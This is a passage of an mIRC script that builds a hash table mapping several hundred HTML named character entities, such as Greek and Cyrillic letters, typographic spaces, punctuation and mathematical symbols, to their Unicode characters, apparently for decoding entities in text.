  3201.   hadd %h /^DiacriticalTilde$/298 $chr($base(02DC, 16, 10))
  3202.   hadd %h /^dblac$/299 $chr($base(02DD, 16, 10))
  3203.   hadd %h /^DiacriticalDoubleAcute$/300 $chr($base(02DD, 16, 10))
  3204.   hadd %h /^DownBreve$/301 $chr($base(0311, 16, 10))
  3205.   hadd %h /^Aacgr$/302 $chr($base(0386, 16, 10))
  3206.   hadd %h /^Eacgr$/303 $chr($base(0388, 16, 10))
  3207.   hadd %h /^EEacgr$/304 $chr($base(0389, 16, 10))
  3208.   hadd %h /^Iacgr$/305 $chr($base(038A, 16, 10))
  3209.   hadd %h /^Oacgr$/306 $chr($base(038C, 16, 10))
  3210.   hadd %h /^Uacgr$/307 $chr($base(038E, 16, 10))
  3211.   hadd %h /^OHacgr$/308 $chr($base(038F, 16, 10))
  3212.   hadd %h /^idiagr$/309 $chr($base(0390, 16, 10))
  3213.   hadd %h /^Alpha$/310 $chr($base(0391, 16, 10))
  3214.   hadd %h /^Agr$/311 $chr($base(0391, 16, 10))
  3215.   hadd %h /^Bgr$/312 $chr($base(0392, 16, 10))
  3216.   hadd %h /^Beta$/313 $chr($base(0392, 16, 10))
  3217.   hadd %h /^Gamma$/314 $chr($base(0393, 16, 10))
  3218.   hadd %h /^Ggr$/315 $chr($base(0393, 16, 10))
  3219.   hadd %h /^Delta$/316 $chr($base(0394, 16, 10))
  3220.   hadd %h /^Dgr$/317 $chr($base(0394, 16, 10))
  3221.   hadd %h /^Egr$/318 $chr($base(0395, 16, 10))
  3222.   hadd %h /^Epsilon$/319 $chr($base(0395, 16, 10))
  3223.   hadd %h /^Zgr$/320 $chr($base(0396, 16, 10))
  3224.   hadd %h /^Zeta$/321 $chr($base(0396, 16, 10))
  3225.   hadd %h /^EEgr$/322 $chr($base(0397, 16, 10))
  3226.   hadd %h /^Eta$/323 $chr($base(0397, 16, 10))
  3227.   hadd %h /^THgr$/324 $chr($base(0398, 16, 10))
  3228.   hadd %h /^Theta$/325 $chr($base(0398, 16, 10))
  3229.   hadd %h /^Igr$/326 $chr($base(0399, 16, 10))
  3230.   hadd %h /^Iota$/327 $chr($base(0399, 16, 10))
  3231.   hadd %h /^Kgr$/328 $chr($base(039A, 16, 10))
  3232.   hadd %h /^Kappa$/329 $chr($base(039A, 16, 10))
  3233.   hadd %h /^Lambda$/330 $chr($base(039B, 16, 10))
  3234.   hadd %h /^Lgr$/331 $chr($base(039B, 16, 10))
  3235.   hadd %h /^Mgr$/332 $chr($base(039C, 16, 10))
  3236.   hadd %h /^Mu$/333 $chr($base(039C, 16, 10))
  3237.   hadd %h /^Ngr$/334 $chr($base(039D, 16, 10))
  3238.   hadd %h /^Nu$/335 $chr($base(039D, 16, 10))
  3239.   hadd %h /^Xgr$/336 $chr($base(039E, 16, 10))
  3240.   hadd %h /^Xi$/337 $chr($base(039E, 16, 10))
  3241.   hadd %h /^Ogr$/338 $chr($base(039F, 16, 10))
  3242.   hadd %h /^Omicron$/339 $chr($base(039F, 16, 10))
  3243.   hadd %h /^Pgr$/340 $chr($base(03A0, 16, 10))
  3244.   hadd %h /^Pi$/341 $chr($base(03A0, 16, 10))
  3245.   hadd %h /^Rgr$/342 $chr($base(03A1, 16, 10))
  3246.   hadd %h /^Rho$/343 $chr($base(03A1, 16, 10))
  3247.   hadd %h /^Sgr$/344 $chr($base(03A3, 16, 10))
  3248.   hadd %h /^Sigma$/345 $chr($base(03A3, 16, 10))
  3249.   hadd %h /^Tgr$/346 $chr($base(03A4, 16, 10))
  3250.   hadd %h /^Tau$/347 $chr($base(03A4, 16, 10))
  3251.   hadd %h /^Ugr$/348 $chr($base(03A5, 16, 10))
  3252.   hadd %h /^Upsilon$/349 $chr($base(03A5, 16, 10))
  3253.   hadd %h /^PHgr$/350 $chr($base(03A6, 16, 10))
  3254.   hadd %h /^Phi$/351 $chr($base(03A6, 16, 10))
  3255.   hadd %h /^KHgr$/352 $chr($base(03A7, 16, 10))
  3256.   hadd %h /^Chi$/353 $chr($base(03A7, 16, 10))
  3257.   hadd %h /^PSgr$/354 $chr($base(03A8, 16, 10))
  3258.   hadd %h /^Psi$/355 $chr($base(03A8, 16, 10))
  3259.   hadd %h /^OHgr$/356 $chr($base(03A9, 16, 10))
  3260.   hadd %h /^Omega$/357 $chr($base(03A9, 16, 10))
  3261.   hadd %h /^ohm$/358 $chr($base(03A9, 16, 10))
  3262.   hadd %h /^Idigr$/359 $chr($base(03AA, 16, 10))
  3263.   hadd %h /^Udigr$/360 $chr($base(03AB, 16, 10))
  3264.   hadd %h /^aacgr$/361 $chr($base(03AC, 16, 10))
  3265.   hadd %h /^eacgr$/362 $chr($base(03AD, 16, 10))
  3266.   hadd %h /^eeacgr$/363 $chr($base(03AE, 16, 10))
  3267.   hadd %h /^iacgr$/364 $chr($base(03AF, 16, 10))
  3268.   hadd %h /^udiagr$/365 $chr($base(03B0, 16, 10))
  3269.   hadd %h /^agr$/366 $chr($base(03B1, 16, 10))
  3270.   hadd %h /^alpha$/367 $chr($base(03B1, 16, 10))
  3271.   hadd %h /^beta$/368 $chr($base(03B2, 16, 10))
  3272.   hadd %h /^bgr$/369 $chr($base(03B2, 16, 10))
  3273.   hadd %h /^gamma$/370 $chr($base(03B3, 16, 10))
  3274.   hadd %h /^ggr$/371 $chr($base(03B3, 16, 10))
  3275.   hadd %h /^delta$/372 $chr($base(03B4, 16, 10))
  3276.   hadd %h /^dgr$/373 $chr($base(03B4, 16, 10))
  3277.   hadd %h /^egr$/374 $chr($base(03B5, 16, 10))
  3278.   hadd %h /^epsi$/375 $chr($base(03B5, 16, 10))
  3279.   hadd %h /^epsilon$/376 $chr($base(03B5, 16, 10))
  3280.   hadd %h /^zeta$/377 $chr($base(03B6, 16, 10))
  3281.   hadd %h /^zgr$/378 $chr($base(03B6, 16, 10))
  3282.   hadd %h /^eegr$/379 $chr($base(03B7, 16, 10))
  3283.   hadd %h /^eta$/380 $chr($base(03B7, 16, 10))
  3284.   hadd %h /^theta$/381 $chr($base(03B8, 16, 10))
  3285.   hadd %h /^thgr$/382 $chr($base(03B8, 16, 10))
  3286.   hadd %h /^igr$/383 $chr($base(03B9, 16, 10))
  3287.   hadd %h /^iota$/384 $chr($base(03B9, 16, 10))
  3288.   hadd %h /^kappa$/385 $chr($base(03BA, 16, 10))
  3289.   hadd %h /^kgr$/386 $chr($base(03BA, 16, 10))
  3290.   hadd %h /^lambda$/387 $chr($base(03BB, 16, 10))
  3291.   hadd %h /^lgr$/388 $chr($base(03BB, 16, 10))
  3292.   hadd %h /^mgr$/389 $chr($base(03BC, 16, 10))
  3293.   hadd %h /^mu$/390 $chr($base(03BC, 16, 10))
  3294.   hadd %h /^ngr$/391 $chr($base(03BD, 16, 10))
  3295.   hadd %h /^nu$/392 $chr($base(03BD, 16, 10))
  3296.   hadd %h /^xgr$/393 $chr($base(03BE, 16, 10))
  3297.   hadd %h /^xi$/394 $chr($base(03BE, 16, 10))
  3298.   hadd %h /^omicron$/395 $chr($base(03BF, 16, 10))
  3299.   hadd %h /^ogr$/396 $chr($base(03BF, 16, 10))
  3300.   hadd %h /^pgr$/397 $chr($base(03C0, 16, 10))
  3301.   hadd %h /^pi$/398 $chr($base(03C0, 16, 10))
  3302.   hadd %h /^rgr$/399 $chr($base(03C1, 16, 10))
  3303.   hadd %h /^rho$/400 $chr($base(03C1, 16, 10))
  3304.   hadd %h /^sfgr$/401 $chr($base(03C2, 16, 10))
  3305.   hadd %h /^sigmav$/402 $chr($base(03C2, 16, 10))
  3306.   hadd %h /^varsigma$/403 $chr($base(03C2, 16, 10))
  3307.   hadd %h /^sigmaf$/404 $chr($base(03C2, 16, 10))
  3308.   hadd %h /^sgr$/405 $chr($base(03C3, 16, 10))
  3309.   hadd %h /^sigma$/406 $chr($base(03C3, 16, 10))
  3310.   hadd %h /^tau$/407 $chr($base(03C4, 16, 10))
  3311.   hadd %h /^tgr$/408 $chr($base(03C4, 16, 10))
  3312.   hadd %h /^ugr$/409 $chr($base(03C5, 16, 10))
  3313.   hadd %h /^upsi$/410 $chr($base(03C5, 16, 10))
  3314.   hadd %h /^upsilon$/411 $chr($base(03C5, 16, 10))
  3315.   hadd %h /^phi$/412 $chr($base(03C6, 16, 10))
  3316.   hadd %h /^phgr$/413 $chr($base(03C6, 16, 10))
  3317.   hadd %h /^chi$/414 $chr($base(03C7, 16, 10))
  3318.   hadd %h /^khgr$/415 $chr($base(03C7, 16, 10))
  3319.   hadd %h /^psgr$/416 $chr($base(03C8, 16, 10))
  3320.   hadd %h /^psi$/417 $chr($base(03C8, 16, 10))
  3321.   hadd %h /^ohgr$/418 $chr($base(03C9, 16, 10))
  3322.   hadd %h /^omega$/419 $chr($base(03C9, 16, 10))
  3323.   hadd %h /^idigr$/420 $chr($base(03CA, 16, 10))
  3324.   hadd %h /^udigr$/421 $chr($base(03CB, 16, 10))
  3325.   hadd %h /^oacgr$/422 $chr($base(03CC, 16, 10))
  3326.   hadd %h /^uacgr$/423 $chr($base(03CD, 16, 10))
  3327.   hadd %h /^ohacgr$/424 $chr($base(03CE, 16, 10))
  3328.   hadd %h /^thetav$/425 $chr($base(03D1, 16, 10))
  3329.   hadd %h /^vartheta$/426 $chr($base(03D1, 16, 10))
  3330.   hadd %h /^thetasym$/427 $chr($base(03D1, 16, 10))
  3331.   hadd %h /^Upsi$/428 $chr($base(03D2, 16, 10))
  3332.   hadd %h /^upsih$/429 $chr($base(03D2, 16, 10))
  3333.   hadd %h /^straightphi$/430 $chr($base(03D5, 16, 10))
  3334.   hadd %h /^phiv$/431 $chr($base(03D5, 16, 10))
  3335.   hadd %h /^varphi$/432 $chr($base(03D5, 16, 10))
  3336.   hadd %h /^piv$/433 $chr($base(03D6, 16, 10))
  3337.   hadd %h /^varpi$/434 $chr($base(03D6, 16, 10))
  3338.   hadd %h /^Gammad$/435 $chr($base(03DC, 16, 10))
  3339.   hadd %h /^gammad$/436 $chr($base(03DD, 16, 10))
  3340.   hadd %h /^digamma$/437 $chr($base(03DD, 16, 10))
  3341.   hadd %h /^kappav$/438 $chr($base(03F0, 16, 10))
  3342.   hadd %h /^varkappa$/439 $chr($base(03F0, 16, 10))
  3343.   hadd %h /^rhov$/440 $chr($base(03F1, 16, 10))
  3344.   hadd %h /^varrho$/441 $chr($base(03F1, 16, 10))
  3345.   hadd %h /^epsiv$/442 $chr($base(03F5, 16, 10))
  3346.   hadd %h /^straightepsilon$/443 $chr($base(03F5, 16, 10))
  3347.   hadd %h /^varepsilon$/444 $chr($base(03F5, 16, 10))
  3348.   hadd %h /^bepsi$/445 $chr($base(03F6, 16, 10))
  3349.   hadd %h /^backepsilon$/446 $chr($base(03F6, 16, 10))
  3350.   hadd %h /^IOcy$/447 $chr($base(0401, 16, 10))
  3351.   hadd %h /^DJcy$/448 $chr($base(0402, 16, 10))
  3352.   hadd %h /^GJcy$/449 $chr($base(0403, 16, 10))
  3353.   hadd %h /^Jukcy$/450 $chr($base(0404, 16, 10))
  3354.   hadd %h /^DScy$/451 $chr($base(0405, 16, 10))
  3355.   hadd %h /^Iukcy$/452 $chr($base(0406, 16, 10))
  3356.   hadd %h /^YIcy$/453 $chr($base(0407, 16, 10))
  3357.   hadd %h /^Jsercy$/454 $chr($base(0408, 16, 10))
  3358.   hadd %h /^LJcy$/455 $chr($base(0409, 16, 10))
  3359.   hadd %h /^NJcy$/456 $chr($base(040A, 16, 10))
  3360.   hadd %h /^TSHcy$/457 $chr($base(040B, 16, 10))
  3361.   hadd %h /^KJcy$/458 $chr($base(040C, 16, 10))
  3362.   hadd %h /^Ubrcy$/459 $chr($base(040E, 16, 10))
  3363.   hadd %h /^DZcy$/460 $chr($base(040F, 16, 10))
  3364.   hadd %h /^Acy$/461 $chr($base(0410, 16, 10))
  3365.   hadd %h /^Bcy$/462 $chr($base(0411, 16, 10))
  3366.   hadd %h /^Vcy$/463 $chr($base(0412, 16, 10))
  3367.   hadd %h /^Gcy$/464 $chr($base(0413, 16, 10))
  3368.   hadd %h /^Dcy$/465 $chr($base(0414, 16, 10))
  3369.   hadd %h /^IEcy$/466 $chr($base(0415, 16, 10))
  3370.   hadd %h /^ZHcy$/467 $chr($base(0416, 16, 10))
  3371.   hadd %h /^Zcy$/468 $chr($base(0417, 16, 10))
  3372.   hadd %h /^Icy$/469 $chr($base(0418, 16, 10))
  3373.   hadd %h /^Jcy$/470 $chr($base(0419, 16, 10))
  3374.   hadd %h /^Kcy$/471 $chr($base(041A, 16, 10))
  3375.   hadd %h /^Lcy$/472 $chr($base(041B, 16, 10))
  3376.   hadd %h /^Mcy$/473 $chr($base(041C, 16, 10))
  3377.   hadd %h /^Ncy$/474 $chr($base(041D, 16, 10))
  3378.   hadd %h /^Ocy$/475 $chr($base(041E, 16, 10))
  3379.   hadd %h /^Pcy$/476 $chr($base(041F, 16, 10))
  3380.   hadd %h /^Rcy$/477 $chr($base(0420, 16, 10))
  3381.   hadd %h /^Scy$/478 $chr($base(0421, 16, 10))
  3382.   hadd %h /^Tcy$/479 $chr($base(0422, 16, 10))
  3383.   hadd %h /^Ucy$/480 $chr($base(0423, 16, 10))
  3384.   hadd %h /^Fcy$/481 $chr($base(0424, 16, 10))
  3385.   hadd %h /^KHcy$/482 $chr($base(0425, 16, 10))
  3386.   hadd %h /^TScy$/483 $chr($base(0426, 16, 10))
  3387.   hadd %h /^CHcy$/484 $chr($base(0427, 16, 10))
  3388.   hadd %h /^SHcy$/485 $chr($base(0428, 16, 10))
  3389.   hadd %h /^SHCHcy$/486 $chr($base(0429, 16, 10))
  3390.   hadd %h /^HARDcy$/487 $chr($base(042A, 16, 10))
  3391.   hadd %h /^Ycy$/488 $chr($base(042B, 16, 10))
  3392.   hadd %h /^SOFTcy$/489 $chr($base(042C, 16, 10))
  3393.   hadd %h /^Ecy$/490 $chr($base(042D, 16, 10))
  3394.   hadd %h /^YUcy$/491 $chr($base(042E, 16, 10))
  3395.   hadd %h /^YAcy$/492 $chr($base(042F, 16, 10))
  3396.   hadd %h /^acy$/493 $chr($base(0430, 16, 10))
  3397.   hadd %h /^bcy$/494 $chr($base(0431, 16, 10))
  3398.   hadd %h /^vcy$/495 $chr($base(0432, 16, 10))
  3399.   hadd %h /^gcy$/496 $chr($base(0433, 16, 10))
  3400.   hadd %h /^dcy$/497 $chr($base(0434, 16, 10))
  3401.   hadd %h /^iecy$/498 $chr($base(0435, 16, 10))
  3402.   hadd %h /^zhcy$/499 $chr($base(0436, 16, 10))
  3403.   hadd %h /^zcy$/500 $chr($base(0437, 16, 10))
  3404.   hadd %h /^icy$/501 $chr($base(0438, 16, 10))
  3405.   hadd %h /^jcy$/502 $chr($base(0439, 16, 10))
  3406.   hadd %h /^kcy$/503 $chr($base(043A, 16, 10))
  3407.   hadd %h /^lcy$/504 $chr($base(043B, 16, 10))
  3408.   hadd %h /^mcy$/505 $chr($base(043C, 16, 10))
  3409.   hadd %h /^ncy$/506 $chr($base(043D, 16, 10))
  3410.   hadd %h /^ocy$/507 $chr($base(043E, 16, 10))
  3411.   hadd %h /^pcy$/508 $chr($base(043F, 16, 10))
  3412.   hadd %h /^rcy$/509 $chr($base(0440, 16, 10))
  3413.   hadd %h /^scy$/510 $chr($base(0441, 16, 10))
  3414.   hadd %h /^tcy$/511 $chr($base(0442, 16, 10))
  3415.   hadd %h /^ucy$/512 $chr($base(0443, 16, 10))
  3416.   hadd %h /^fcy$/513 $chr($base(0444, 16, 10))
  3417.   hadd %h /^khcy$/514 $chr($base(0445, 16, 10))
  3418.   hadd %h /^tscy$/515 $chr($base(0446, 16, 10))
  3419.   hadd %h /^chcy$/516 $chr($base(0447, 16, 10))
  3420.   hadd %h /^shcy$/517 $chr($base(0448, 16, 10))
  3421.   hadd %h /^shchcy$/518 $chr($base(0449, 16, 10))
  3422.   hadd %h /^hardcy$/519 $chr($base(044A, 16, 10))
  3423.   hadd %h /^ycy$/520 $chr($base(044B, 16, 10))
  3424.   hadd %h /^softcy$/521 $chr($base(044C, 16, 10))
  3425.   hadd %h /^ecy$/522 $chr($base(044D, 16, 10))
  3426.   hadd %h /^yucy$/523 $chr($base(044E, 16, 10))
  3427.   hadd %h /^yacy$/524 $chr($base(044F, 16, 10))
  3428.   hadd %h /^iocy$/525 $chr($base(0451, 16, 10))
  3429.   hadd %h /^djcy$/526 $chr($base(0452, 16, 10))
  3430.   hadd %h /^gjcy$/527 $chr($base(0453, 16, 10))
  3431.   hadd %h /^jukcy$/528 $chr($base(0454, 16, 10))
  3432.   hadd %h /^dscy$/529 $chr($base(0455, 16, 10))
  3433.   hadd %h /^iukcy$/530 $chr($base(0456, 16, 10))
  3434.   hadd %h /^yicy$/531 $chr($base(0457, 16, 10))
  3435.   hadd %h /^jsercy$/532 $chr($base(0458, 16, 10))
  3436.   hadd %h /^ljcy$/533 $chr($base(0459, 16, 10))
  3437.   hadd %h /^njcy$/534 $chr($base(045A, 16, 10))
  3438.   hadd %h /^tshcy$/535 $chr($base(045B, 16, 10))
  3439.   hadd %h /^kjcy$/536 $chr($base(045C, 16, 10))
  3440.   hadd %h /^ubrcy$/537 $chr($base(045E, 16, 10))
  3441.   hadd %h /^dzcy$/538 $chr($base(045F, 16, 10))
  3442.   hadd %h /^ensp$/539 $chr($base(2002, 16, 10))
  3443.   hadd %h /^emsp$/540 $chr($base(2003, 16, 10))
  3444.   hadd %h /^emsp13$/541 $chr($base(2004, 16, 10))
  3445.   hadd %h /^emsp14$/542 $chr($base(2005, 16, 10))
  3446.   hadd %h /^numsp$/543 $chr($base(2007, 16, 10))
  3447.   hadd %h /^puncsp$/544 $chr($base(2008, 16, 10))
  3448.   hadd %h /^thinsp$/545 $chr($base(2009, 16, 10))
  3449.   hadd %h /^ThinSpace$/546 $chr($base(2009, 16, 10))
  3450.   hadd %h /^hairsp$/547 $chr($base(200A, 16, 10))
  3451.   hadd %h /^VeryThinSpace$/548 $chr($base(200A, 16, 10))
  3452.   hadd %h /^ZeroWidthSpace$/549 $chr($base(200B, 16, 10))
  3453.   hadd %h /^NegativeVeryThinSpace$/550 $chr($base(200B, 16, 10))
  3454.   hadd %h /^NegativeThinSpace$/551 $chr($base(200B, 16, 10))
  3455.   hadd %h /^NegativeMediumSpace$/552 $chr($base(200B, 16, 10))
  3456.   hadd %h /^NegativeThickSpace$/553 $chr($base(200B, 16, 10))
  3457.   hadd %h /^zwnj$/554 $chr($base(200C, 16, 10))
  3458.   hadd %h /^zwj$/555 $chr($base(200D, 16, 10))
  3459.   hadd %h /^lrm$/556 $chr($base(200E, 16, 10))
  3460.   hadd %h /^rlm$/557 $chr($base(200F, 16, 10))
  3461.   hadd %h /^hyphen$/558 $chr($base(2010, 16, 10))
  3462.   hadd %h /^dash$/559 $chr($base(2010, 16, 10))
  3463.   hadd %h /^ndash$/560 $chr($base(2013, 16, 10))
  3464.   hadd %h /^mdash$/561 $chr($base(2014, 16, 10))
  3465.   hadd %h /^horbar$/562 $chr($base(2015, 16, 10))
  3466.   hadd %h /^Verbar$/563 $chr($base(2016, 16, 10))
  3467.   hadd %h /^Vert$/564 $chr($base(2016, 16, 10))
  3468.   hadd %h /^lsquo$/565 $chr($base(2018, 16, 10))
  3469.   hadd %h /^OpenCurlyQuote$/566 $chr($base(2018, 16, 10))
  3470.   hadd %h /^rsquo$/567 $chr($base(2019, 16, 10))
  3471.   hadd %h /^rsquor$/568 $chr($base(2019, 16, 10))
  3472.   hadd %h /^CloseCurlyQuote$/569 $chr($base(2019, 16, 10))
  3473.   hadd %h /^lsquor$/570 $chr($base(201A, 16, 10))
  3474.   hadd %h /^sbquo$/571 $chr($base(201A, 16, 10))
  3475.   hadd %h /^ldquo$/572 $chr($base(201C, 16, 10))
  3476.   hadd %h /^OpenCurlyDoubleQuote$/573 $chr($base(201C, 16, 10))
  3477.   hadd %h /^rdquo$/574 $chr($base(201D, 16, 10))
  3478.   hadd %h /^rdquor$/575 $chr($base(201D, 16, 10))
  3479.   hadd %h /^CloseCurlyDoubleQuote$/576 $chr($base(201D, 16, 10))
  3480.   hadd %h /^ldquor$/577 $chr($base(201E, 16, 10))
  3481.   hadd %h /^bdquo$/578 $chr($base(201E, 16, 10))
  3482.   hadd %h /^dagger$/579 $chr($base(2020, 16, 10))
  3483.   hadd %h /^Dagger$/580 $chr($base(2021, 16, 10))
  3484.   hadd %h /^ddagger$/581 $chr($base(2021, 16, 10))
  3485.   hadd %h /^bull$/582 $chr($base(2022, 16, 10))
  3486.   hadd %h /^bullet$/583 $chr($base(2022, 16, 10))
  3487.   hadd %h /^nldr$/584 $chr($base(2025, 16, 10))
  3488.   hadd %h /^hellip$/585 $chr($base(2026, 16, 10))
  3489.   hadd %h /^mldr$/586 $chr($base(2026, 16, 10))
  3490.   hadd %h /^permil$/587 $chr($base(2030, 16, 10))
  3491.   hadd %h /^pertenk$/588 $chr($base(2031, 16, 10))
  3492.   hadd %h /^prime$/589 $chr($base(2032, 16, 10))
  3493.   hadd %h /^Prime$/590 $chr($base(2033, 16, 10))
  3494.   hadd %h /^tprime$/591 $chr($base(2034, 16, 10))
  3495.   hadd %h /^bprime$/592 $chr($base(2035, 16, 10))
  3496.   hadd %h /^backprime$/593 $chr($base(2035, 16, 10))
  3497.   hadd %h /^lsaquo$/594 $chr($base(2039, 16, 10))
  3498.   hadd %h /^rsaquo$/595 $chr($base(203A, 16, 10))
  3499.   hadd %h /^oline$/596 $chr($base(203E, 16, 10))
  3500.   hadd %h /^OverBar$/597 $chr($base(203E, 16, 10))
  3501.   hadd %h /^caret$/598 $chr($base(2041, 16, 10))
  3502.   hadd %h /^hybull$/599 $chr($base(2043, 16, 10))
  3503.   hadd %h /^frasl$/600 $chr($base(2044, 16, 10))
  3504.   hadd %h /^bsemi$/601 $chr($base(204F, 16, 10))
  3505.   hadd %h /^qprime$/602 $chr($base(2057, 16, 10))
  3506.   hadd %h /^MediumSpace$/603 $chr($base(205F, 16, 10))
  3507.   hadd %h /^ThickSpace$/604 $chr($base(205F, 16, 10)) $+ $chr($base(200A, 16, 10))
  3508.   hadd %h /^NoBreak$/605 $chr($base(2060, 16, 10))
  3509.   hadd %h /^ApplyFunction$/606 $chr($base(2061, 16, 10))
  3510.   hadd %h /^af$/607 $chr($base(2061, 16, 10))
  3511.   hadd %h /^InvisibleTimes$/608 $chr($base(2062, 16, 10))
  3512.   hadd %h /^it$/609 $chr($base(2062, 16, 10))
  3513.   hadd %h /^InvisibleComma$/610 $chr($base(2063, 16, 10))
  3514.   hadd %h /^ic$/611 $chr($base(2063, 16, 10))
  3515.   hadd %h /^euro$/612 $chr($base(20AC, 16, 10))
  3516.   hadd %h /^tdot$/613 $chr($base(20DB, 16, 10))
  3517.   hadd %h /^TripleDot$/614 $chr($base(20DB, 16, 10))
  3518.   hadd %h /^DotDot$/615 $chr($base(20DC, 16, 10))
  3519.   hadd %h /^Copf$/616 $chr($base(2102, 16, 10))
  3520.   hadd %h /^complexes$/617 $chr($base(2102, 16, 10))
  3521.   hadd %h /^incare$/618 $chr($base(2105, 16, 10))
  3522.   hadd %h /^gscr$/619 $chr($base(210A, 16, 10))
  3523.   hadd %h /^hamilt$/620 $chr($base(210B, 16, 10))
  3524.   hadd %h /^HilbertSpace$/621 $chr($base(210B, 16, 10))
  3525.   hadd %h /^Hscr$/622 $chr($base(210B, 16, 10))
  3526.   hadd %h /^Hfr$/623 $chr($base(210C, 16, 10))
  3527.   hadd %h /^Poincareplane$/624 $chr($base(210C, 16, 10))
  3528.   hadd %h /^quaternions$/625 $chr($base(210D, 16, 10))
  3529.   hadd %h /^Hopf$/626 $chr($base(210D, 16, 10))
  3530.   hadd %h /^planckh$/627 $chr($base(210E, 16, 10))
  3531.   hadd %h /^planck$/628 $chr($base(210F, 16, 10))
  3532.   hadd %h /^hbar$/629 $chr($base(210F, 16, 10))
  3533.   hadd %h /^plankv$/630 $chr($base(210F, 16, 10))
  3534.   hadd %h /^hslash$/631 $chr($base(210F, 16, 10))
  3535.   hadd %h /^Iscr$/632 $chr($base(2110, 16, 10))
  3536.   hadd %h /^imagline$/633 $chr($base(2110, 16, 10))
  3537.   hadd %h /^image$/634 $chr($base(2111, 16, 10))
  3538.   hadd %h /^Im$/635 $chr($base(2111, 16, 10))
  3539.   hadd %h /^imagpart$/636 $chr($base(2111, 16, 10))
  3540.   hadd %h /^Ifr$/637 $chr($base(2111, 16, 10))
  3541.   hadd %h /^Lscr$/638 $chr($base(2112, 16, 10))
  3542.   hadd %h /^lagran$/639 $chr($base(2112, 16, 10))
  3543.   hadd %h /^Laplacetrf$/640 $chr($base(2112, 16, 10))
  3544.   hadd %h /^ell$/641 $chr($base(2113, 16, 10))
  3545.   hadd %h /^Nopf$/642 $chr($base(2115, 16, 10))
  3546.   hadd %h /^naturals$/643 $chr($base(2115, 16, 10))
  3547.   hadd %h /^numero$/644 $chr($base(2116, 16, 10))
  3548.   hadd %h /^copysr$/645 $chr($base(2117, 16, 10))
  3549.   hadd %h /^weierp$/646 $chr($base(2118, 16, 10))
  3550.   hadd %h /^wp$/647 $chr($base(2118, 16, 10))
  3551.   hadd %h /^Popf$/648 $chr($base(2119, 16, 10))
  3552.   hadd %h /^primes$/649 $chr($base(2119, 16, 10))
  3553.   hadd %h /^rationals$/650 $chr($base(211A, 16, 10))
  3554.   hadd %h /^Qopf$/651 $chr($base(211A, 16, 10))
  3555.   hadd %h /^Rscr$/652 $chr($base(211B, 16, 10))
  3556.   hadd %h /^realine$/653 $chr($base(211B, 16, 10))
  3557.   hadd %h /^real$/654 $chr($base(211C, 16, 10))
  3558.   hadd %h /^Re$/655 $chr($base(211C, 16, 10))
  3559.   hadd %h /^realpart$/656 $chr($base(211C, 16, 10))
  3560.   hadd %h /^Rfr$/657 $chr($base(211C, 16, 10))
  3561.   hadd %h /^reals$/658 $chr($base(211D, 16, 10))
  3562.   hadd %h /^Ropf$/659 $chr($base(211D, 16, 10))
  3563.   hadd %h /^rx$/660 $chr($base(211E, 16, 10))
  3564.   hadd %h /^trade$/661 $chr($base(2122, 16, 10))
  3565.   hadd %h /^TRADE$/662 $chr($base(2122, 16, 10))
  3566.   hadd %h /^integers$/663 $chr($base(2124, 16, 10))
  3567.   hadd %h /^Zopf$/664 $chr($base(2124, 16, 10))
  3568.   hadd %h /^mho$/665 $chr($base(2127, 16, 10))
  3569.   hadd %h /^Zfr$/666 $chr($base(2128, 16, 10))
  3570.   hadd %h /^zeetrf$/667 $chr($base(2128, 16, 10))
  3571.   hadd %h /^iiota$/668 $chr($base(2129, 16, 10))
  3572.   hadd %h /^bernou$/669 $chr($base(212C, 16, 10))
  3573.   hadd %h /^Bernoullis$/670 $chr($base(212C, 16, 10))
  3574.   hadd %h /^Bscr$/671 $chr($base(212C, 16, 10))
  3575.   hadd %h /^Cfr$/672 $chr($base(212D, 16, 10))
  3576.   hadd %h /^Cayleys$/673 $chr($base(212D, 16, 10))
  3577.   hadd %h /^escr$/674 $chr($base(212F, 16, 10))
  3578.   hadd %h /^Escr$/675 $chr($base(2130, 16, 10))
  3579.   hadd %h /^expectation$/676 $chr($base(2130, 16, 10))
  3580.   hadd %h /^Fscr$/677 $chr($base(2131, 16, 10))
  3581.   hadd %h /^Fouriertrf$/678 $chr($base(2131, 16, 10))
  3582.   hadd %h /^phmmat$/679 $chr($base(2133, 16, 10))
  3583.   hadd %h /^Mellintrf$/680 $chr($base(2133, 16, 10))
  3584.   hadd %h /^Mscr$/681 $chr($base(2133, 16, 10))
  3585.   hadd %h /^order$/682 $chr($base(2134, 16, 10))
  3586.   hadd %h /^orderof$/683 $chr($base(2134, 16, 10))
  3587.   hadd %h /^oscr$/684 $chr($base(2134, 16, 10))
  3588.   hadd %h /^alefsym$/685 $chr($base(2135, 16, 10))
  3589.   hadd %h /^aleph$/686 $chr($base(2135, 16, 10))
  3590.   hadd %h /^beth$/687 $chr($base(2136, 16, 10))
  3591.   hadd %h /^gimel$/688 $chr($base(2137, 16, 10))
  3592.   hadd %h /^daleth$/689 $chr($base(2138, 16, 10))
  3593.   hadd %h /^CapitalDifferentialD$/690 $chr($base(2145, 16, 10))
  3594.   hadd %h /^DD$/691 $chr($base(2145, 16, 10))
  3595.   hadd %h /^DifferentialD$/692 $chr($base(2146, 16, 10))
  3596.   hadd %h /^dd$/693 $chr($base(2146, 16, 10))
  3597.   hadd %h /^ExponentialE$/694 $chr($base(2147, 16, 10))
  3598.   hadd %h /^exponentiale$/695 $chr($base(2147, 16, 10))
  3599.   hadd %h /^ee$/696 $chr($base(2147, 16, 10))
  3600.   hadd %h /^ImaginaryI$/697 $chr($base(2148, 16, 10))
  3601.   hadd %h /^ii$/698 $chr($base(2148, 16, 10))
  3602.   hadd %h /^frac13$/699 $chr($base(2153, 16, 10))
  3603.   hadd %h /^frac23$/700 $chr($base(2154, 16, 10))
  3604.   hadd %h /^frac15$/701 $chr($base(2155, 16, 10))
  3605.   hadd %h /^frac25$/702 $chr($base(2156, 16, 10))
  3606.   hadd %h /^frac35$/703 $chr($base(2157, 16, 10))
  3607.   hadd %h /^frac45$/704 $chr($base(2158, 16, 10))
  3608.   hadd %h /^frac16$/705 $chr($base(2159, 16, 10))
  3609.   hadd %h /^frac56$/706 $chr($base(215A, 16, 10))
  3610.   hadd %h /^frac18$/707 $chr($base(215B, 16, 10))
  3611.   hadd %h /^frac38$/708 $chr($base(215C, 16, 10))
  3612.   hadd %h /^frac58$/709 $chr($base(215D, 16, 10))
  3613.   hadd %h /^frac78$/710 $chr($base(215E, 16, 10))
  3614.   hadd %h /^larr$/711 $chr($base(2190, 16, 10))
  3615.   hadd %h /^leftarrow$/712 $chr($base(2190, 16, 10))
  3616.   hadd %h /^LeftArrow$/713 $chr($base(2190, 16, 10))
